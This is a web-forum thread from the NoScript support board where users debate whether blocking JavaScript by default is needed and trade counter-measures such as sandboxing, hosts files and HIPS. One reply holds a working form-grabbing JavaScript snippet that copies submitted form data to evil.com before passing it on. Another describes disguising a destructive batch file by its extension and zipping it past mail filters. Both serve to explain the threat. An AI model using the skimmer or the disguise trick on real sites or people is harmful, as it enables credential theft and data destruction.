Is default-deny for JavaScript necessary for good security?

[Aspirant]

First, let me say that I am using NoScript, and I value its default-deny for plug-ins and IFRAMEs and its protections: ClearClick, XSS, JAR, HTTPS and ABE. I appreciate all the volunteer effort that Giorgio and the support team put into designing, debugging and supporting NoScript. I created this topic to dialog on the subject, and I am open to learning new things.

Some background on me... I haven't programmed in JavaScript, but I am a professional programmer. I have been programming in many languages for about 33 years, and I have been studying PC security for about 7 years in my spare time. I share my PC with a non-technical spouse, who doesn't have the understanding or experience to decide which sites are dangerous. I have observed that she learns to allow all sites when blocking is frequent and she has the power of choice. Therefore, I spent considerable effort to provide decision-free security with high usability/convenience. This includes globally allowing JavaScript since it is used by a significant percentage of legitimate sites I have experienced.

My decision-free security consists of a number of applications, Windows configurations and behavior policies. These are too numerous to include in this post. Instead, I would like to create in this thread a list of JavaScript vulnerabilities and security counter-measures (other than default-deny of JavaScript). If we find even one JavaScript vulnerability without a corresponding counter-measure, then the answer to the question in the subject is "yes". I would like to limit this thread to PC security since I am not familiar with Mac and Linux security outside of Firefox.

1. Vulnerability: JavaScript can move or resize existing windows, raise or lower windows, disable or replace context menus, hide the Firefox status bar or change status bar text.
Counter-measure: Firefox's Tools|Options|Content tab|JavaScript Advanced menu allows the user to block these JavaScript behaviors.

2. Vulnerability: The JavaScript implementation on a given platform has yet-to-be-discovered buffer overflow errors that allow an attacker access outside of the sandbox and into the OS to do great damage.

3. Vulnerability: There are various scenarios involving an attack by a site on the client such that site steals the user's credentials or impersonates the user to access a banking site and steal money from the user.
Counter-measure: Close and re-open Firefox immediately before and after accessing a financial website. Configure Firefox to delete cookies when closing Firefox.

Note that many of these counter-measures are wise even with default-deny of JavaScript by NoScript, because there is the danger that the user, even temporarily, allows a dangerous site, or a trusted site gets attacked and begins to host malicious JavaScript.

Please add more vulnerabilities and, if you know them, counter-measures.

[Alan Baxter]

If I recall correctly, http://hackademix.net has discussed many different vulnerabilities and their mitigations.

I'm not an expert on vulnerabilities, but I can add some counter-measures I personally find worthwhile. Here's one:
Counter-measure: Use a sandbox program to test untrusted applications or run Internet applications. This helps prevent the system or user setup from being compromised by malware or an exploit of a vulnerable application. I use Sandboxie.

[Tom T.]

3. Vulnerability: There are various scenarios involving an attack by a site on the client such that site steals the user's credentials or impersonates the user to access a banking site and steal money from the user.

These sites should also be in your Force HTTPS and Force Secure Cookies under NS Options > Advanced > HTTPS. Sadly, some banks and other sensitive sites have allowed cookies to be sent without encryption, which greatly facilitates the above attack. You can do this without your wife having to do anything.

I use Sandboxie 100% of the time, especially since in doing support, we are often asked to visit sites whose reputation we don't know, or if a user says, "It works fine with NS disabled or JS allowed globally", then we might have to do this to reproduce the issue. Given your wife's apparent unwillingness to learn discrimination in scripting, running Sandboxie all the time seems like a common-sense -- if not perfect; nothing ever is -- addition to the defenses.

Unfortunately, she will then have to learn a little bit about how to use Sandboxie (how to download outside of the Sandbox, else they'll disappear, etc.).
It isn't difficult, but then, neither is NS. There just aren't any zero-knowledge, air-tight solutions, except for abstinence (from the Web). But maybe she'll cotton to Sandboxie better than to NS. Be certain to configure the sandbox to empty upon every browser close, and continue to close it frequently, even more than just for sensitive sites. Frequent emptying of the sandbox might help prevent cross-contamination within it.

Please note that I use *both*, and the exceptions noted above are under carefully-controlled conditions on a closed course by trained professionals. Do not try this at home.

Also please note that Alan Baxter and I are mentioning Sandboxie as a personal opinion, based on our own experiences only; since it is not a product of Informaction, we cannot offer any support, warranties, liability, etc. Support is provided at the Sandboxie site only, as well as their terms of use.

[Tom T.]

Are you using a Hosts file? Several providers send regular updated ones with self-installers that you can do with a few clicks. The one I use, http://www.mvps.org/winhelp2002/hosts.htm *absolutely prevents connecting* to any of about 15,000 sites known to drop adware, spyware, or other malware, without any user action once installed. Thus, your wife need do nothing. Whether she types http://www.evilsite.com, or some site or email link directs her to evilsite.com, the request will be blocked *before it leaves your machine*. Also saves some bandwidth by preventing annoying ad sites from trying to run.

It's a free service.

For more info, including Giorgio Maone's suggested modification to the Hosts file as provided by the most common providers, see this thread:
http://forums.informaction.com/viewtopic.php?p=11246#p11246. Cheers.

[Aspirant]

Vulnerability: JavaScript can download malware executables and run them.
Counter-measure: Install HIPS software, which alerts (default-deny) when any new executable is written to disk. If the administrator of a PC is the only person who installs software, then it is clear to other users that HIPS alerts are always for malware, and the appropriate alert response is to block the new executable.

I appreciate the helpfulness of the other posters in this thread to improve security for the inexperienced user. However, I am hoping someone will take on the opposing point of view on this thread topic. In other words, post a JavaScript vulnerability where you see no counter-measure other than default-deny of JavaScript.

[Tom T.]

Vulnerability: JavaScript can download malware executables and run them.
Counter-measure: Install HIPS software, which alerts (default-deny) when any new executable is written to disk. If the administrator of a PC is the only person who installs software, then it is clear to other users that HIPS alerts are always for malware, and the appropriate alert response is to block the new executable.

I appreciate the helpfulness of the other posters in this thread to improve security for the inexperienced user. However, I am hoping someone will take on the opposing point of view on this thread topic. In other words, post a JavaScript vulnerability where you see no counter-measure other than default-deny of JavaScript.

No comment on the suggestions for Sandboxie or Hosts file, or are you here merely to spam for Comodo, which I'm beginning to believe? -- in which case, the entire topic will be deleted. I also don't believe I've heard from you regarding the false claims of Comodo re: DEP versus the Microsoft Knowledge Base article to which I referred you.

.exe is not the only executable extension. Much malware has been written in Visual Basic Scripting (.vbs), and, precisely because many users have been educated against opening .exe files, the .vbs extension often slips through. If I remember from very vague memory -- no research ATM, don't hold me to this -- the Anna Kournikova virus was spread by an email with the headline, "Great Pix (of A. K.), and an attachment, AnnaKournikova.jpg.vbs. Many users don't realize that Windows obeys only the last extension. (You can have file.txt.doc.rtf.odt.jpg.pdf.vbs, and it'll still execute.) Seeing the familiar .jpg extension, they clicked on the "photo", activating the malicious script.

I myself have written a couple of little executable batch scripts (.bat) to do clean-up tasks on my computer -- but I could just as easily write one to delete the contents of C:\, and send it to you as "HotBab3z.svg.bat, or maybe zip it so it would get through your email filters. (I've sent benevolent batch files to friends, and zipping them gets them past many filters, including, e. g., Yahoo! Mail.)

Also, malicious JS can do plenty of attacks right in your browser, without "writing to disk". This is getting rather tiring. Giorgio Maone is one of the world's leading hackers, recently tying for winner in a contest to write the world's smallest, fully self-replicating worm, tying with his good friend Sirdarckcat at only 165 bytes. Thank goodness they're both on our side!

I'm going to ask Giorgio to give you a few examples of what you've wanted: JS vulnerabilities that cannot be prevented without blocking the scripting, whether through NoScript, through configuring IE to disable all scripting outside of the trusted zone, or however. Otherwise, I'm through here. This site is for supporting people who choose to use NoScript. If you choose to use it with scripting enabled globally in the face of expert advice, that's your decision, and the consequences are yours .... except that every infected or botnetted computer becomes another weapon and threat to the rest of us, who do our best to secure ourselves.

Cheers.

[Giorgio Maone]

I'm not arguing that using NoScript in defalut-allow mode still provides significant protection (i.e. Anti-XSS, HTTPS enforcement, ClearClick, ABE...) without the need of whitelist training, but your statement about default-deny being unnecessary for "good security" is delusional, or depends on what you mean by "good enough" at least.

1. Vulnerability: JavaScript can move or resize existing windows, raise or lower windows, disable or replace context menus, hide the Firefox status bar or change status bar text.
Counter-measure: Firefox's Tools|Options|Content tab|JavaScript Advanced menu allows the user to block these JavaScript behaviors.

I do not consider these "vulnerabilities", but just annoyances.
However there are several ways to cause worse annoyance, which can't be mitigated by any "JavaScript Advanced menu": I sketched a couple of examples in just 3 minutes for you, but someone with a bit more time to spend on it could be much more evil than this.

2. Vulnerability: The JavaScript implementation on a given platform has yet-to-be-discovered buffer overflow errors that allow an attacker access outside of the sandbox and into the OS to do great damage.

Assuming that this Memory Firewall is bullet proof, "traditional" buffer overflows are a very small fraction of remote execution vulnerabilities found in modern browsers, especially since DEP has been introduced in major OSes. The most popular plugins (Java, Silverlight and Flash), but also the fast JavaScript engines themselves we've got today, contain JIT compilers, which need "by design" to dynamically inject executable code in the memory heap. Therefore it's very difficult or impossible to tell whether an injection in browser's memory is malicious or is normal operation.

Furthermore, many privilege escalation vulnerabilities in the browser can be exploited without any executable code injection: you just need to find a way for your Javascript code itself to gain chrome privileges (i.e. act with the browser's own permissions), and it's game over: no binary code gets injected anywhere, but your script can do anything your browser do, including sniffing your passwords and log them to a remote location bypassing your firewall (since the browser process is likely in your outbound whitelist, isn't it?). No Comodo product can save you from this kind of attack.

3. Vulnerability: There are various scenarios involving an attack by a site on the client such that site steals the user's credentials or impersonates the user to access a banking site and steal money from the user.
Counter-measure: Close and re-open Firefox immediately before and after accessing a financial website. Configure Firefox to delete cookies when closing Firefox.

That's a good approach. Of course, you should do this also with your webmail account, your social networks and in every site which can be leveraged for identity theft.
Are you sure that's much more practical than training a script whitelist?

Vulnerability: JavaScript can download malware executables and run them.
Counter-measure: Install HIPS software, which alerts (default-deny) when any new executable is written to disk. If the administrator of a PC is the only person who installs software, then it is clear to other users that HIPS alerts are always for malware, and the appropriate alert response is to block the new executable.

As I stated above, Javascript doesn't need to download malware executable to own your valuable data.
Given the proper (common) vulnerability, it can just drive your browser with chrome privileges to perform its malicious activity: no HIPS will block it, because no HIPS tags your browser process as malware.

[Tom T.]

I sketched a couple of examples in just 3 minutes for you, but someone with a bit more time to spend on it could be much more evil than this.

Hah! Good ones, Giorgio. Of course, I had to use Windows Task Manager to terminate Firefox process. .. And *both* written in 3 minutes!

Vulnerability: JavaScript can download malware executables and run them.
Counter-measure: Install HIPS software, which alerts (default-deny) when any new executable is written to disk. If the administrator of a PC is the only person who installs software, then it is clear to other users that HIPS alerts are always for malware, and the appropriate alert response is to block the new executable.

As I stated above, Javascript doesn't need to download malware executable to own your valuable data.

As I too stated above. Thanks for the confirmation, Giorgio.

Given the proper (common) vulnerability, it can just drive your browser with chrome privileges to perform its malicious activity: no HIPS will block it, because no HIPS tags your browser process as malware.

I hope this settles the issue for OP, though it will be interesting to see what response, if any. Thanks for your time, attention, and POC's, Giorgio.

[Aspirant]

No comment on the suggestions for Sandboxie or Hosts file, or are you here merely to spam for Comodo, which I'm beginning to believe? -- in which case, the entire topic will be deleted.

As I said in viewtopic.php?f=10&t=2714&start=0#p11304

I have no financial or other connection to Comodo -- I'm just a user.

I use CCleaner instead of the Comodo System Cleaner because I experienced so many bugs in the latest version and read in the forum about so many BSOD caused by CSC.
I use ShadowProtect Desktop instead of Comodo Backup because the former includes a bootable CD supporting restore of the entire hard disk (boot) partition.
I use Avira's free anti-virus for manual scanning instead of Comodo's because the former has support for Mozilla Thunderbird mail format.
The only Comodo protection software I use is Comodo Internet Security. The only Comodo protection software I recommend is CIS or Comodo Firewall (CIS without anti-virus). I researched a lot of firewalls before I chose Comodo's. I would switch to another company's product if I found something with improved security, better usability or more lightweight (without sacrificing any of these aspects).
I hope this info answers your fears about my motivation.

The reason I didn't comment about the suggestions for Sandboxie or the Hosts file is because my response would be off-topic given that these suggestions were not connected to any specific JavaScript vulnerability. I didn't want to add noise to this thread by adding several pages of documentation of my security software/configuration/practices or by comparing counter measures for a given JavaScript vulnerability.

.exe is not the only executable extension. Much malware has been written in Visual Basic Scripting (.vbs), and, precisely because many users have been educated against opening .exe files, the .vbs extension often slips through. If I remember from very vague memory -- no research ATM, don't hold me to this -- the Anna Kournikova virus was spread by an email with the headline, "Great Pix (of A. K.), and an attachment, AnnaKournikova.jpg.vbs. Many users don't realize that Windows obeys only the last extension. (You can have file.txt.doc.rtf.odt.jpg.pdf.vbs, and it'll still execute.) Seeing the familiar .jpg extension, they clicked on the "photo", activating the malicious script.

I myself have written a couple of little executable batch scripts (.bat) to do clean-up tasks on my computer -- but I could just as easily write one to delete the contents of C:\, and send it to you as "HotBab3z.svg.bat, or maybe zip it so it would get through your email filters. (I've sent benevolent batch files to friends, and zipping them gets them past many filters, including, e. g., Yahoo! Mail.)

I see that the Comodo press release is not as detailed as the user manual. CIS protects against downloads of files with EXE, DLL, SYS, OCX, BAT, PIF, SCR, CPL, COM and CMD extensions by default. I added XPI to the list for Firefox add-ons. People who would like to learn more about Comodo software without installing it or reading the user manual posted onsite have the option asking questions to the Comodo forum, which is very active.

[Aspirant]

I'm not arguing that using NoScript in defalut-allow mode still provides significant protection (i.e. Anti-XSS, HTTPS enforcement, ClearClick, ABE...) without the need of whitelist training, but your statement about default-deny being unnecessary for "good security" is delusional, or depends on what you mean by "good enough" at least.

Please note that I am asking a question, not making a statement:

First, let me say that I am using NoScript, and I value its default-deny for plug-ins and IFRAMEs and its protections: ClearClick, XSS, JAR, HTTPS and ABE. I appreciate all the volunteer effort that Giorgio and the support team put into designing, debugging and supporting NoScript. I created this topic to dialog on the subject, and I am open to learning new things.

1. Vulnerability: JavaScript can move or resize existing windows, raise or lower windows, disable or replace context menus, hide the Firefox status bar or change status bar text.
Counter-measure: Firefox's Tools|Options|Content tab|JavaScript Advanced menu allows the user to block these JavaScript behaviors.

I do not consider these "vulnerabilities", but just annoyances.
However there are several ways to cause worse annoyance, which can't be mitigated by any "JavaScript Advanced menu": I sketched a couple of examples in just 3 minutes for you, but someone with a bit more time to spend on it could be much more evil than this.

Thanks for creating those tests. I bookmarked the link for future testing. The memory crash test used one of my two CPUs at 100% for a few minutes before Firefox offered the option to terminate the script. After terminating, Firefox was back to normal. With the popup bomb test, Firefox was unresponsive until I used Task Manager to kill the process.

As you said, these are annoyances, not security or privacy vulnerabilities. We could put up with the occasional annoyance to avoid the frequent inconvenience of JavaScript default deny.

Furthermore, many privilege escalation vulnerabilities in the browser can be exploited without any executable code injection: you just need to find a way for your Javascript code itself to gain chrome privileges (i.e. act with the browser's own permissions), and it's game over: no binary code gets injected anywhere, but your script can do anything your browser do, including sniffing your passwords and log them to a remote location bypassing your firewall (since the browser process is likely in your outbound whitelist, isn't it?). No Comodo product can save you from this kind of attack.

Yes, Firefox is in my outbound whitelist for the firewall. However, I store all passwords in RoboForm, where they are in encrypted form. The user enters the master password with the mouse using an on-screen keyboard, so keyloggers are ineffective.

3. Vulnerability: There are various scenarios involving an attack by a site on the client such that site steals the user's credentials or impersonates the user to access a banking site and steal money from the user.
Counter-measure: Close and re-open Firefox immediately before and after accessing a financial website. Configure Firefox to delete cookies when closing Firefox.

That's a good approach. Of course, you should do this also with your webmail account, your social networks and in every site which can be leveraged for identity theft.
Are you sure that's much more practical than training a script whitelist?

We use POP3 email access normally and webmail rarely. I use forums, but we never use social networking sites. The only personal info I give to forums is my name and email. Of course, they record my dynamic IP address. I stopped giving my name once I started getting so much spam. Thus, for us, opening and closing Firefox a few times a month for finances is more convenient than whitelist training and the extra clicks needed for JavaScript default deny.

As I stated above, Javascript doesn't need to download malware executable to own your valuable data.
Given the proper (common) vulnerability, it can just drive your browser with chrome privileges to perform its malicious activity: no HIPS will block it, because no HIPS tags your browser process as malware.

In addition to blocking the download of executables, I configured it to default-deny Firefox from the following access rights: interprocess memory access, Windows/WinEvent hooks, process terminations, device driver installations, Windows messages, protected COM interfaces, protected registry keys, protected files/folders, loopback networking, physical memory and disk. Other than the small whitelist for each access right (specific for Firefox), I only default-allow Firefox the following access rights: DNS client service, computer monitor and keyboard.

Does what you said apply to this configuration of Defense+? If so, could you clarify at least one vulnerability?

Thanks for taking the time to help me.

[Giorgio Maone]

Furthermore, many privilege escalation vulnerabilities in the browser can be exploited without any executable code injection: you just need to find a way for your Javascript code itself to gain chrome privileges (i.e. act with the browser's own permissions), and it's game over: no binary code gets injected anywhere, but your script can do anything your browser do, including sniffing your passwords and log them to a remote location bypassing your firewall (since the browser process is likely in your outbound whitelist, isn't it?). No Comodo product can save you from this kind of attack.

Yes, Firefox is in my outbound whitelist for the firewall. However, I store all passwords in RoboForm, where they are in encrypted form. The user enters the master password with the mouse using an on-screen keyboard, so keyloggers are ineffective.

Who said "keyloggers"? I wrote "sniffing" and you read "keylogging", maybe because the commercial security industry has shaped our minds into perceiving what matches their offerings only. Reality is quite different, unfortunately.
A malware driving the browser chrome via Javascript privilege escalation would be very stupid and masochistic in behaving like a traditional keylogger (i.e. hooking the keyboard directly).
No matter if you use Roboform, handwriting or telepathy to fill your forms, the form has to be filled and sent at some point, and a browser-based malware can read its content at the DOM level. Actually, it doesn't even need any sophisticated code, just a tiny Javascript snippet injected in page (even through simple XSS, with no browser vulnerabilities involved):

Code: Select all

for (var j = document.forms.length; j--> 0;) with(document.forms[j]) {
  _onsubmit = onsubmit;
  onsubmit = function() {
    var originalForm = this;
    var evilTwin = originalForm.cloneNode(true);
    evilTwin.onsubmit = evilTwin._onsubmit = null;
    with(evilTwin.style) position = "absolute", top = "-5000px";
    evilTwin.action = "http://evil.com/mylogger.php";
    var f = document.createElement("iframe"); // use a frame as the target, so page doesn't change
    f.setAttribute("name", evilTwin.target = "evil_frame");
    f.onload = function() {
       evilTwin.parentNode.removeChild(evilTwin);
       var myOnsubmit = originalForm.onsubmit;
       originalForm.onsubmit = originalForm._onsubmit;
       originalForm.submit(); // after loggin all the data, submit to the original destination
       originalForm.onsumbit = myOnsubmit;
    }
    evilTwin.appendChild(f);
    document.body.appendChild(evilTwin);
    evilTwin.submit();
  }
}


Furthermore, if you've got chrome privilege, you can intercept the interesting data at a later stage, e.g.

1. While it's being extracted from the form by the browser
2. While it's being serialized, before hitting the wire
3. While it's being written in the output stream (no matter if it's HTTPS, the encryption happens after you told the SSL module what data it has to encrypt)

Thus, for us, opening and closing Firefox a few times a month for finances is more convenient than whitelist training and the extra clicks needed for JavaScript default deny.

Yes, until your financial website gets hacked, as just happened during last weekend to poste.it, the public postal service and largest private banking entity in Italy: http://twitpic.com/l070i
Of course in this case it was just a very noisy demonstrative defacement, but if I was after the money I would be much subtler and stealthier than this, injecting just the script above or something like that as an almost unnoticeable remote inclusion and waiting for people to login, giving away their credentials
Incidentally, there's how all the "Mass SQL Injection" attacks worked so far, and they're neutered by NoScript because the remote payload (usually from a complacent anonymous Russian or Chinese host) is not whitelisted.

As I stated above, Javascript doesn't need to download malware executable to own your valuable data.
Given the proper (common) vulnerability, it can just drive your browser with chrome privileges to perform its malicious activity: no HIPS will block it, because no HIPS tags your browser process as malware.[/quote

Have you tested and studied a recent version of Comodo's Defense+ HIPS?

Yes, I did. I've got it installed on my XP box mainly for firewalling and DEP-surrogation purposes.
Just pick any of these privilege escalation vulnerabilities, exploit them against a non-patched, scripting enabled Firefox version an watch your HIPS failing miserably.

interprocess memory access, Windows/WinEvent hooks, process terminations, device driver installations, Windows messages, protected COM interfaces, protected registry keys, protected files/folders, loopback networking, physical memory and disk. Other than the small whitelist for each access right (specific for Firefox), I only default-allow Firefox the following access rights: DNS client service, computer monitor and keyboard.

As you can see, all these protection measures are meant to isolate processes from each other and unkown processes from the system.
A privilege escalation vulnerability in the browser can't be detected by any of these features, and from then on the browser itself (which is whitelisted) is your enemy.

Does what you said apply to this configuration of Defense+? If so, could you clarify at least one vulnerability?

It should be clear enough by now. I linked many suitable vulnerabilities above, and also provided sample code for a realistic attack.
I hope it's enough for you, because I can't provide live exploits against undisclosed vulnerabilities for obvious ethical reasons.
Back to work now.

[Jim Too]

What I find interesting here is two items that Melih (CEO and Chief Security Architect of Comodo) says are crucial to security are default deny and layered security. I don't speak for him but it wouldn't surprise me if he would support Giorgio's positions in this discussion.

Part of the problem with a default deny model for security is it takes some amount of work on the end user's part to maintain the highest level of security. The user is presented with the choice of allowing an action or not allowing an action. How is the user to decide if the action is safe? If a site is permanently allowed, we are trusting that the site's security will prevent the site itself from being compromised (bad things coming from trusted sources). If a user becomes frustrated and elects to turn off security features then a layer of security has been removed.

I look forward to continued, thought provoking discussions in these forums.

[Giorgio Maone]

How is the user to decide if the action is safe?

It's not quite a technical judgment ("This site is safe"), but a social judgment ("This site is trusted") involving accountability of the other party.
When I decide to allow a certain unknown site, I ask myself:

1. Am I sure the site I'm visiting actually matches the domain name I can see? If the DNS is compromised, or I'm behind an untrusted proxy/network and not using HTTPS correctly, for instance, google.com may be operated by the russian mafia.
2. Who does the domain name belong to? Is he/she accountable? (check WHOIS, WOT, Google search, whatever...

If a site is permanently allowed, we are trusting that the site's security will prevent the site itself from being compromised (bad things coming from trusted sources).

Nope. We're rather trusting that if the site, as always possible, eventually gets compromised, the fear for a backslash against its owner's business reputation is enough that the problem gets quickly fixed and damage, if any, refunded.
We also hope that the attack against the trusted site, like observed in the overwhelming majority of real world scenarios so far, consists in the injection of a 3rd party inclusion from a non-whitelisted source: in this case, NoScript still protects its users.

[Tom T.]

The reason I didn't comment about the suggestions for Sandboxie or the Hosts file is because my response would be off-topic given that these suggestions were not connected to any specific JavaScript vulnerability. I didn't want to add noise to this thread by adding several pages of documentation of my security software/configuration/practices or by comparing counter measures for a given JavaScript vulnerability.

Your original motivation was to provide user-free security for your wife while globally allowing js. Those products are definitely off-topic to NS, but were provided as a courtesy. Many have noted that you have no hesitancy to mention a third-party product that you favor, so the ignoring of the others while you continued to push for the one you liked seemed inconsistent, that's all. I agree that neither of us should mention any more third-party products in this discussion, and confine it to NS.

Before abandoning your favored product, though, FWIW, I am now on a different machine that has not had any significant changes to the Windows folder or subfolders. XP SP2 Pro. Only dangerous and useless services have been disabled, per Black Viper, as you recommended. After disabling AV, ZoneAlarm Home Free, sw DEP to Opt-In, and hw DEP to Off, the BO Tester still wouldn't run. (Yes, I installed it after downloading the installer, and used the Start menu to bring up the GUI and click "Run all tests" > Test".) I assume it must need one or more of the disabled Services. Otherwise, either the tester is defective, or is not self-contained. If you wish to pursue this, please PM me the list of required Windows services, dll's, drivers, ActiveX controls (HUGE source of BO vulns), and other components needed to make the tester run successfully. Either way, let us spend no more time and waste no more space on this board on the third-party firewall or its tester.

.exe is not the only executable extension. Much malware has been written in Visual Basic Scripting (.vbs), ...

I see that the Comodo press release is not as detailed as the user manual. CIS protects against downloads of files with EXE, DLL, SYS, OCX, BAT, PIF, SCR, CPL, COM and CMD extensions by default. ...

I still don't see .VBS in the list.

Thanks for creating those tests. I bookmarked the link for future testing. The memory crash test used one of my two CPUs at 100% for a few minutes before Firefox offered the option to terminate the script. After terminating, Firefox was back to normal. With the popup bomb test, Firefox was unresponsive until I used Task Manager to kill the process.
As you said, these are annoyances, not security or privacy vulnerabilities. We could put up with the occasional annoyance to avoid the frequent inconvenience of JavaScript default deny.

Did you miss Giorgio's introductory statement?

I sketched a couple of examples in just 3 minutes for you, but someone with a bit more time to spend on it could be much more evil than this.

(emphasis mine)

[Aspirant]

Thanks Giorgio for the detailed, thoughtful response.

Yes, until your financial website gets hacked, as just happened during last weekend to poste.it, the public postal service and largest private banking entity in Italy: http://twitpic.com/l070i
Of course in this case it was just a very noisy demonstrative defacement, but if I was after the money I would be much subtler and stealthier than this, injecting just the script above or something like that as an almost unnoticeable remote inclusion and waiting for people to login, giving away their credentials
Incidentally, there's how all the "Mass SQL Injection" attacks worked so far, and they're neutered by NoScript because the remote payload (usually from a complacent anonymous Russian or Chinese host) is not whitelisted.

I have the anti-XSS features enabled in NoScript, and I have my financial web sites in the whitelist. Does the present version of NoScript fail to provide the full anti-XSS protection when JavaScript is globally allowed because NoScript effectively whitelists all sites (including the evil remote payload sites)? If so, please see viewtopic.php?f=10&t=2714, where I requested the ability to globally allow JavaScript and to allow plugins only on selective sites, without effectively whitelisting all sites.

If you are considering a scenario where the evil JavaScript is injected into my financial site's server/domain, then the evil JavaScript is allowed to execute in my browser anyway because my financial site is in my NoScript whitelist, regardless of whether I globally allow JavaScript or not.

A privilege escalation vulnerability in the browser can't be detected by any of these [Comodo Defense+] features, and from then on the browser itself (which is whitelisted) is your enemy.

I hope that having Defense+ block most of Firefox's access rights provides some protection, especially since one of those access rights being blocked is disk access. I always run Firefox from a limited user account (LUA). In Sysinternals' Process Explorer, I right-click on Firefox, select Properties and then the Security tab to see the operating systems privileges for Firefox. Most of the privileges available to Firefox on the admin account are unavailable while on the LUA. What evil can a JavaScript do (leveraging a Firefox privilege escalation vulnerability) on an LUA given the Defense+ access rights restrictions I mentioned above?